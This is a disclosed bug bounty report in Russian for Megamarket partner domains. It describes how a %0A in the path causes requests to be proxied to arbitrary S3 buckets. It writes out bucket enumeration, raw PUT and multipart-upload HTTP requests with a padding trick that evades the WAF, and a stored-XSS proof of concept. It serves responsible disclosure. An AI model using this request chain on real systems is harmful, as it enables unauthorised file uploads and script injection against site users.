[partner.megamarket.ru] Некорректное проксирование на S3 / Stored XSS

Где обнаружено

 partner.megamarket.ru
 partner.sbermegamarket.ru
 cdp-cdn.sbermegamarket.ru

Описание уязвимости

В случае, если в пути запроса к partner.megamarket.ru есть символ %0A, это нарушает правило проксирования запроса в объектное хранилище. В результате чего первая папка в пути воспринимается как имя s3 бакета.
Это позволяет атакующему:
  • Формировать GET/POST/PUT/DELETE запросы на произвольные бакеты
  • Загружать в небезопасно настроенные бакеты файлы
  • Открыть загруженный файл в контексте partner.megamarket.ru для эксплуатации как Stored XSS

PoC

Открыть пример загруженного файла, который выполняет функцию alert(document.domain)
 https://partner.megamarket.ru/web/poc%0apoc
 https://partner.sbermegamarket.ru/web/poc%0apoc
 https://cdp-cdn.sbermegamarket.ru/web/poc%0apoc

Шаги воспроизведения

Пример обращения к произвольному бакету. Бакет xxx не существует и возвращается ошибка NoSuchBucket
 https://partner.megamarket.ru/xxx/xxx%0axxx
По тексту ошибки я перебрал бакеты и нашел существующие
 atom, web, button, delete, default, img, data, docs, new, pub, back, boot, cms, dev, win, image, linux, media, misc, site, apps, code, imgs, mail, videos, backup, files, images, shared, video, check, config, guide, prod, test, archive, export, import, mirror, policy, report, upload, support, hardware, packages, portal, reports, static, software, microsoft, storage, windows, templates, newsletter, documentation
Сформировав PUT запрос я обнаружил бакеты, позволяющие загрузить произвольный файл.
Список небезопасно настроенных бакетов.
 atom, web, button, delete, default
Пример запроса на загрузку файла test%0atest в бакет web. Для того чтобы после загрузки файл был доступен, я использую в запросе заголовок x-amz-acl: public-read
 PUT /web/test%0atest HTTP/1.1
 Host: partner.megamarket.ru
 Content-Type: text/html
 Content-Length: 12
 x-amz-acl: public-read
 
 <marquee>XSS
Пример загруженного файла
 https://partner.megamarket.ru/web/test%0atest
Так как WAF блокировал XSS пейлоады, мне пришлось загрузить файл по частям используя multipart upload. Но, так как объектное хранилище имеет настройку минимального размера загружаемой части файла, пришлось дополнять при загруке части до 5 МБ.
Запрос на создание сессии мультипарт загрузки
 POST /web/poc%0apoc?uploads HTTP/1.1
 Host: partner.megamarket.ru
 Content-Type: text/html
 Content-Length: 0
 x-amz-acl: public-read
Из HTTP ответа необходимо получить UploadId, указать его в запросе и загрузить файл по частям
 PUT /web/poc%0apoc?partNumber=1&uploadId=2~xwsBRgCRc37Mt2mxnrplbIzO8BPQtgL HTTP/1.1
 Host: partner.megamarket.ru
 Content-Type: text/html
 Content-Length: 5559848
 x-amz-acl: public-read
 
 <script/AAAAAAAAAAAAAAAAAAAAA...дополнение части до 5 МБ
После загрузки всех фрагментов XSS необходимо завершить мультипарт загрузку, отправив md5 хэш загруженных частей
 POST /web/poc%0apoc?uploadId=2~xwsBRgCRc37Mt2mxnrplbIzO8BPQtgL HTTP/1.1
 Host: partner.megamarket.ru
 Content-Type: text/html
 Content-Length: 509
 x-amz-acl: public-read
 
 <?xml version="1.0" encoding="UTF-8"?>
 <CompleteMultipartUpload>
   <Part>
     <PartNumber>1</PartNumber>
     <ETag>eb8964e89c95b3c1e51a145ebd899191</ETag>
   </Part>
   <Part>
     <PartNumber>2</PartNumber>
     <ETag>2ed55a9e402174537200603b0e3c9a4f</ETag>
   </Part>
   <Part>
     <PartNumber>3</PartNumber>
     <ETag>c39a3dfb2330231835102e347011664d</ETag>
   </Part>
   <Part>
     <PartNumber>4</PartNumber>
     <ETag>cedf8da05466bb54708268b3c694a78f</ETag>
   </Part>
 </CompleteMultipartUpload>
В результате чего загруженный файл доступен по следующим ссылкам
 https://partner.megamarket.ru/web/poc%0apoc
 https://partner.sbermegamarket.ru/web/poc%0apoc
 https://cdp-cdn.sbermegamarket.ru/web/poc%0apoc

Влияние на безопасность

Атакующий имеет возможность:
  • Формировать GET/POST/PUT/DELETE запросы на произвольные бакеты
  • Загружать в небезопасно настроенные бакеты файл
  • Открыть загруженный файл в контексте partner.megamarket.ru для эксплуатации как Stored XSS
Reward
₽43,470
Megamarket
Megamarket
Report No.: 6663
Created: September 1, 2024, 21:12
Disclosed: March 4, 14:30
Status: Accepted
Type: Vulnerability
Severity:
Medium
Author:BlackFan